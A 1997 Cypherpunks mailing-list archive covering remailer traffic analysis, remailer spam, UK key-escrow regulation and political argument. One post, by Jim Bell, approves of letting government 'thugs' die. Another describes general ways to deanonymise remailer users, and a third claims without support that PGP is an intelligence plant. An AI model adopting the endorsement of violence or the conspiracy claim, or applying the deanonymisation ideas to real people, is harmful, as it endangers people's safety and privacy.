PGP: BB1B6428 409129AC  076B9DE1 4C250DD8
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB at ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From lucifer at dhp.com  Sun Mar 23 15:04:36 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 15:04:36 -0800 (PST)
Subject: "Dr. Roberts" and his advice to the list
Message-ID: <199703232304.SAA02412@dhp.com>



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From stewarts at ix.netcom.com  Sun Mar 23 15:43:13 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 23 Mar 1997 15:43:13 -0800 (PST)
Subject: A cypherpunk push-poll ? (Was Re: Dorothy and the four  Horseman)
In-Reply-To: <v03007816af5acc86787a@[207.167.93.63]>
Message-ID: <3.0.1.32.19970323154127.005d3770@popd.ix.netcom.com>


At 10:32 AM 3/23/97 -0500, Robert Hettinga wrote:
>For instance, here's an example of a question that Dorothy and Winn
>*should* have asked:
>
>"In your extensive use of the internet in your professional capacity as the
>CIO of a Fortune 50 corporation, have you encountered the use of
>cryptography in acts of genocide?
>
>Ecologic holocaust?
>
>Thermonuclear terrorism?
>
>The use of asteroid impact to destroy all life on earth as we know it?"

Well, in my extensive use of computers back when I was a tool of the
military-industrial complex, I did encounter the use of computer security 
techniques in planning for thermonuclear terrorism; it's difficult to find
a better term for pointing tens of thousands of warheads at your enemies,
while they have tens of thousands of them pointed at you, and both of you are
plotting about what you think the other guys will do so you can do it to
them first, or so you can do something else to them to block it.
Ecological holocaust?  Nuclear winter was disbelieved, though I did know a 
meteorologist whose doctoral thesis advisor was working on germ warfare 
dispersal modelling, and The Customer didn't think in terms of genocide, 
just "nuking them till they glow" and "making the rubble bounce" and
"pre-emptive strikes".

Me?  I just kept the computers running while the physicists tried to model
what this sort of behaviour would do to the Phone Company, and how to
let the military get useful phone services pre-, trans-, and post-attack,
though once in a while I'd help them with some data structures..

On the other hand, while we did have occasional lectures on astronomy
from our Research folks, we were pretty well-behaved with asteroids.

But today we know that Eurasia and Oceania have always been friends,
and haven't figured out yet that Oceania and Eastasia have always 
been enemies, so the only nuclear terrorists we have to worry about are 
the ones who'll do sneaky things like hiding their bombs in bales of cocaine 
so nobody'll notice when they drive them across the border and up to the 
White House loading dock, and the Constitution explicitly doesn't say
that it's illegal to wiretap foreigners, so we're pretty safe for now.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Sun Mar 23 15:53:48 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 15:53:48 -0800 (PST)
Subject: "Dr. Roberts" and his advice to the list
Message-ID: <199703232353.PAA01058@mailmasher.com>



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Sun Mar 23 16:02:46 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 16:02:46 -0800 (PST)
Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240002.QAA01518@mailmasher.com>


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger






From lucifer at dhp.com  Sun Mar 23 16:17:14 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 16:17:14 -0800 (PST)
Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240017.TAA05535@dhp.com>


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger






From bubba at dev.null  Sun Mar 23 16:24:50 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sun, 23 Mar 1997 16:24:50 -0800 (PST)
Subject: WebWorld 10-11
Message-ID: <3335C9C8.ADC@dev.null>

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From bubba at dev.null  Sun Mar 23 17:56:20 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Sun, 23 Mar 1997 17:56:20 -0800 (PST)
Subject: WebWorld 12-14
Message-ID: <3335DEBF.5002@dev.null>

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From nobody at REPLAY.COM  Sun Mar 23 18:15:25 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 18:15:25 -0800 (PST)
Subject: PGP as disinformation
Message-ID: <199703240145.CAA23209@basement.replay.com>




Sergey Goldgaber wrote:

>This is only a practical problem related to PGP's lack of popularity.
>The proposed solution will work in the long run, assuming PGP achieves
>great popularity.  Thus, education of the public concerning PGP and remailers
>will help make this solution more effective.
>

Has this list not considered the very real possibility that PGP is itself a
rogue program released by the intelligence apparatus to detour we
cyberpunks?

As I have been arguing, the obvious is often false.

While certain statists on this list are arguing in vain that I lack
expertise in cryptographic matters, the truth is apposite this.

Ask not for whom Bell toils,


Dr. Roberts











--

--





From rah at shipwright.com  Sun Mar 23 19:56:20 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 23 Mar 1997 19:56:20 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <v03020917af5ba5598bbb@[139.167.130.246]>


At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:

> On the other hand the strongest proponent of interning the Japanese
> was the governor of California:  Earl Warren.

Thank you, Peter, for what I believe is the most singular example of the
two sides of the statism coin I've ever seen.

Seen with the traditional liberal/conservative political worldview, it
makes no sense for the famous compassionate liberal judge Earl Warren,
whose supreme court presided over the creation of the world's largest
welfare state, to advocate what is on its face an extremely conservative
act -- the internment of thousands of Japanese Americans in concentration
camps -- in his earlier role as a state governor.

Viewed from the statism/freedom standpoint, it is completely logical, that
is, "We're your nation-state. We're stronger than you are, and we'll take
what we damn well please from you, including your life, if necessary."

In the case of the Japanese concentration camps, it was taking the personal
freedom of Japanese Americans. In the case of the judicially activist
Warren court's welfare state, it was the confiscation of assets from
productive members of society in violation of the laws of economics, which
in turn caused misery for the increasing dole-dependant millions. People
who are now much less free than they ever were before the creation of the
"Great Society".


I *love* this list. Absolutely love it.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From toto at sk.sympatico.ca  Sun Mar 23 19:57:10 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 23 Mar 1997 19:57:10 -0800 (PST)
Subject: PGP as disinformation
In-Reply-To: <199703240145.CAA23209@basement.replay.com>
Message-ID: <3335F8AE.7A86@sk.sympatico.ca>


Anonymous wrote:
 
> Ask not for whom Bell toils,

  I thought it was, "Ask not, for whom Bell trolls."
                                            ^^^^^^
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From jimbell at pacifier.com  Sun Mar 23 21:29:39 1997
From: jimbell at pacifier.com (jim bell)
Date: Sun, 23 Mar 1997 21:29:39 -0800 (PST)
Subject: "why privacy" revisited
Message-ID: <199703240529.VAA16804@mail.pacifier.com>


At 10:55 PM 3/23/97 -0500, Robert Hettinga wrote:
>Seen with the traditional liberal/conservative political worldview, it
>makes no sense for the famous compassionate liberal judge Earl Warren,
>whose supreme court presided over the creation of the world's largest
>welfare state, to advocate what is on its face an extremely conservative
>act -- the internment of thousands of Japanese Americans in concentration
>camps -- in his earlier role as a state governor.
>
>Viewed from the statism/freedom standpoint, it is completely logical, that
>is, "We're your nation-state. We're stronger than you are, and we'll take
>what we damn well please from you, including your life, if necessary."
>
>In the case of the Japanese concentration camps, it was taking the personal
>freedom of Japanese Americans. In the case of the judicially activist
>Warren court's welfare state, it was the confiscation of assets from
>productive members of society in violation of the laws of economics, which
>in turn caused misery for the increasing dole-dependant millions. People
>who are now much less free than they ever were before the creation of the
>"Great Society".

Which is yet another of the many reasons I can espouse an "extreme" solution 
to the problem, but one that I can honestly claim to not consider "extreme" 
at all!  The way I see it, the lives of these thugs are not sufficiently 
valuable to lose sleep over their loss, when to keep them around means the 
kinds of abuse society has suffered for many generations.


Jim Bell
jimbell at pacifier.com





From toto at sk.sympatico.ca  Sun Mar 23 22:47:59 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sun, 23 Mar 1997 22:47:59 -0800 (PST)
Subject: "why privacy" revisited
In-Reply-To: <v03007811af59c812477f@[207.167.93.63]>
Message-ID: <333622B1.37B9@sk.sympatico.ca>


Robert Hettinga wrote:
> At 8:48 pm -0500 on 3/23/97, Peter D. Junger wrote:
 
> > On the other hand the strongest proponent of interning the Japanese
> > was the governor of California:  Earl Warren.
 
> Thank you, Peter, for what I believe is the most singular example of the
> two sides of the statism coin I've ever seen.
 
> Seen with the traditional liberal/conservative political worldview, it
> makes no sense for the famous compassionate liberal judge Earl Warren,
> whose supreme court presided over the creation of the world's largest
> welfare state, to advocate what is on its face an extremely conservative
> act -- the internment of thousands of Japanese Americans in concentration
> camps -- in his earlier role as a state governor.
 
> Viewed from the statism/freedom standpoint, it is completely logical, that
> is, "We're your nation-state. We're stronger than you are, and we'll take
> what we damn well please from you, including your life, if necessary."
 
> In the case of the Japanese concentration camps, it was taking the personal
> freedom of Japanese Americans. In the case of the judicially activist
> Warren court's welfare state, it was the confiscation of assets from
> productive members of society in violation of the laws of economics, which
> in turn caused misery for the increasing dole-dependant millions. People
> who are now much less free than they ever were before the creation of the
> "Great Society".

Bob,
  It humbles me to realize that I had completely overlooked this example
of the evil forces lurking in the background (and under the bed) being
involved in the duplicity of even using the bleeding heart liberals to
imprison and slowly bleed us of both our wealth and our freedom.
  If you wish to devote more of your time to exposing these types of
dark undercurrents to those on the CypherPunks list, then Dale and I
would be more than happy to run the eca$h lists for a while, to free
up your time. (What are friends for, eh?)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From aba at dcs.ex.ac.uk  Sun Mar 23 23:51:21 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 23 Mar 1997 23:51:21 -0800 (PST)
Subject: Remailer problem solution?
In-Reply-To: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>
Message-ID: <199703232314.XAA01324@server.test.net>



Sergey Goldgaber <sergey at el.net> writes:
> -> >1. Accept and send PGP encrypted messages only.
> -> 
> -> This "works" in that it reduces the number of people subjected to messages
> -> they don't want to see, but it also makes it more difficult (or impossible)
> -> to use remailers for tasks like:
> -> 
> -> sending info to crypto-illiterate reporters/politicians/whatever
> -> ("whistleblowing")
> -> sending messages to newsgroups and mailing lists which don't have a shared
> -> private key
> 
> This is only a practical problem related to PGP's lack of popularity.
> The proposed solution will work in the long run, assuming PGP achieves
> great popularity.  Thus, education of the public concerning PGP and remailers
> will help make this solution more effective.

Yeah, but if we get to the stage where most people with email
addresses have PGP keys, sending messages encrytped with PGP won't
reduce the number of people subjected to messages the don't want to
see.

A side benefit of using PGP, is that PGP encryption should add some
overhead to the spammer -- he can probably encrypt less messages per
second than he can spam down a T3 link.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From yhkim at dingo.etri.re.kr  Mon Mar 24 00:06:29 1997
From: yhkim at dingo.etri.re.kr (Yu-Hyun Kim (5808))
Date: Mon, 24 Mar 1997 00:06:29 -0800 (PST)
Subject: I want to see your paper " A New Attack to RSA on Tamperproof Devices".
Message-ID: <199703240453.NAA08514@dingo.etri.re.kr>



 Dear Sir,

Would you send me the full paper "A New Attack to RSA on Tamperproof Devices"?

Yu-Hyun Kim

yhkim at dingo.etri.re.kr






From stewarts at ix.netcom.com  Mon Mar 24 01:00:42 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 24 Mar 1997 01:00:42 -0800 (PST)
Subject: UK to ban free use of crypto?
In-Reply-To: <199703231301.IAA13505@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>


The document is at http://dtiinfo1.dti.gov.uk/pubs/

At 08:01 AM 3/23/97 -0500, Peter D. Junger wrote:
>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

And Michael Froomkin offers similar sentiments.  They're both lawyers,
and I'm not (:-), so they're expected to do a better job of reading
the legal parts of it.  On the other hand, the DTI says:
	57.The legislation will provide that bodies wishing to offer 
	or provide encryption services to the public in the UK will be 
	required to obtain a licence. The legislation will give the 
	Secretary of State discretion to determine appropriate licence conditions. 
and it's got a really broad definition of "encryption services",
including even things such as time-stamping.

The big problem is that the document has a really warped view of the 
cryptographic and business services that a "Trusted Third Party" 
would provide, and some parts are expressed in quite broad language.
For instance, it implies that the TTP is being trusted with private keys,
otherwise there would be no way for it to recover anything.

On the other hand, from their Q&A:
	Q: Will a TTP be able to access an encrypted message ? 
	A: No. It is important to be clear that it is not envisaged 
	that the encrypted communication would be routed via the TTP. 
	Nor will the TTP encrypt the message, it will merely assist 
	(depending on the service offered) in the very complex area of 
	key management or Key Certification. 
If the TTP is not encrypting the data, they don't need the secret key
or your private key.  They DO need your public key, to sign it, 
so a second party can trust that a key they have is really yours.
But you and the second party can use the signed keys to exchange a
secret session key, or to sign documents, without the TTP's help.*
So their primary description of what a TTP would do does not involve escrow.

Keys are used for three things - communications, signatures, and storage.
As discussed above, for communications, the TTP doesn't need your private key,
and there's no business need for anyone to have the keys to decode a 
communication unless they already have the cyphertext.  Business applications
that do require a third party to have a copy of your _message_ can be
met by sending them a copy of your message, encrypted with their key,
and the document explicitly says it's not talking about them.
Similarly, cell-phone companies are providing encryption and routing,
so this document claims not to be about them, though it regulates them.
The only third parties who need just the session key itself are
eavesdroppers and forgers, who are Untrusted Third Parties.

For signatures, there's also _never_ a need for the third party to
have the private keys - the function you Trust the Third Party to do
is to certify that the holder of the key either is who he claims to be
or has the permissions he claims to have (e.g. to write purchase orders
or sign contracts for Company X.)  And the document even states that
"There is, of course no intention for the Government to access private keys
used for only integrity functions."

The main time you want another party to have a copy of your keys
is for stored data:  to cover the "employee dies" case 
(the document explicitly permits companies to handle their own keys 
without regulation, so no TTP is needed here), and the 
"you die, and your family digicash is in your encrypted file system" case,
for which you can give a copy of your key to your spouse or solicitor,
or keep it on a floppy in your bank safe deposit box, all of which cases
are presumably covered by current law in the UK just as they are in the US.

SO - what _is_ all this malarkey about "legal access" and "key recovery"
and "key escrow" systems?  The document claims repeatedly that it's not
purporting to regulate any of the conditions under which a Third Party
would ever be Trusted with the keys you actually encrypted something with.
There's a whole lot of material about restricting who can be in the
business and offer these services, seemingly designed to either
restrict the emergence of new services or to be later expanded to cover
other parts of the encryption business, such as supplying encryption software.
And it's very unclear about whether it covers the encryption services
used in inter-corporate projects such as Mondex - as a stockholder and
customer of some of those companies, this concerns me.

In particular, the expansion appears to be targeted specifically at the 
UK end of the Stronghold Apache-SSL web server, Adam Back's RSA Munitions
Shirts,
the PGP and Crypto Software distribution site at Oxford, and Ross Anderson.

[*There are non-public-key systems where the TTP handles the secret keys,
but they're typically older or specialized military or banking systems,
where the TTP isn't an independent party, and are generally superseded by
public-key systems now that the technology is practical.]


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From gbroiles at netbox.com  Mon Mar 24 02:34:44 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Mon, 24 Mar 1997 02:34:44 -0800 (PST)
Subject: UK TTP regs
Message-ID: <3.0.1.32.19970324021936.0281a038@mail.io.com>


-----BEGIN PGP SIGNED MESSAGE-----

Have spent some time reading over the paper re TTP/CA regulation in the UK. I
don't think the paper is exactly a model of clarity, but my impression (from
a few passes over it) is that it isn't intended to affect the distribution of
software but is intended to affect people acting as CA's (including signing a
friend's key) or as key escrow agents.

But both this document and two of the three bills in the US Congress
(Goodlatte and Leahy) look to me like "first shoes" which precede "the other
shoe dropping", e.g., making use of a TTP/key escrow agent mandatory once
there's a reasonable infrastructure in place.

Regulating essentially informal and private transactions like key signing
between associates strikes me as absurd - but not much more absurd than
things done on this side of the Atlantic, of course. I do think there are
interesting issues around certifying CA's and CA liability, but it seems like
they can be addressed using existing legal theories/strategies - some mix of
tort law and contract law should be sufficient. Criminalizing a PGP
key-signing party is almost as stupid as threatening to criminalize PGP. My
hunch is that legislatures in Europe as well as Congress are going to get
around to trying that within a few years. All it's going to take is repeating
the phrase "legitimate needs of law enforcement" and "a fair balance between
law enforcement needs and industry needs" a few thousand more times and it'll
all seem perfectly rational.

Last week's hearing for the ProCODE bill totally ignored the right of
individuals to be free from interception/eavesdropping, and seemed to focus
on some sort of compromise between business (who's perceived as wanting to
make money from exporting strong crypto, but the argument is structurally the
same whether we're talking about export/import controls on wheat or cars or
on crypto) and law enforcement (who's perceived as being, at worst, slightly
overzealous in their pursuit of safety & tranquility for each and every
American, perhaps to the detriment of business interests, apologies to those
fine businesses & their investors, etc.) (* I missed the first 20 minutes or
so, perhaps that's when this was discussed, but I'll bet not.) I don't think
I heard the Fourth Amendment (or any similar concerns) mentioned even once,
nor the consistent pattern (across tens of years, subject matter, internal
jurisdictions, national boundaries, and ideology of the government in power)
by which law enforcement grows contemptuous of the law itself and begins
using its power to perpetuate itself and in various flavors of political or
personal repression. I suppose it would have been impolite to mention the
various Red Squads, the COINTELPRO operation against domestic dissident
groups, harassment of antinuclear and anti-Contra activists, local police
spying in Pittsburgh and Los Angeles and San Francisco (and surely many other
places I haven't heard about, too), Ruby Ridge, Waco, Operation MOVE, and
recent revelations that the FBI crime lab has been altering lab reports and
offering perjured testimony against criminal defendants. Law enforcement
abuses are not "aberrations" nor "unfortunate incidents" which could not be
predicted nor are they unlikely to recur. The only real question is whether
or not we want to give law enforcement tools which can only be misused in
obvious ways (like guns, which make noise, or tanks or helicopters, which are
easy to see/hear) or if we're going to give them tools (like secret wiretaps
and access to crypto keys) which are very difficult to track or detect when
used illegitimately.

Between cops who fuck up for political reasons (see above) and spooks/cops
who sell out just for money (Ames, Lonetree, and the rest of the sad parade
I've already forgotten who've been willing to sell "top secret" material
which they knew put their colleagues' lives in danger, as well as
street-level corrupt cops who "look the other way", steal from
suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns
and the rest), it's hard to feel like this is an institution that deserves
any real trust. It may be that society ends up with less net brutality and
corruption if we let the SFPD or the LAPD or the FBI drive around with guns &
radios than if we allowed the Mafia or the Crips or the Bloods to do that ..
but it's really just "more brutality" or "less brutality". The lesser of two
evils is still evil. 

Which is a lot of rant to say that I don't think the sky is falling in the UK
just yet.
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzZU2f37pMWUJFlhAQEO2wf+Lmuc6t8m1pdvcFt3EKsG6UEKoSIV9SUn
e8QYrj2FFkCYUMS4Oh/FZ8T+wtgLRZ/z1eZQs5KUU1GMpP58j1KLS6K859Y9rvQs
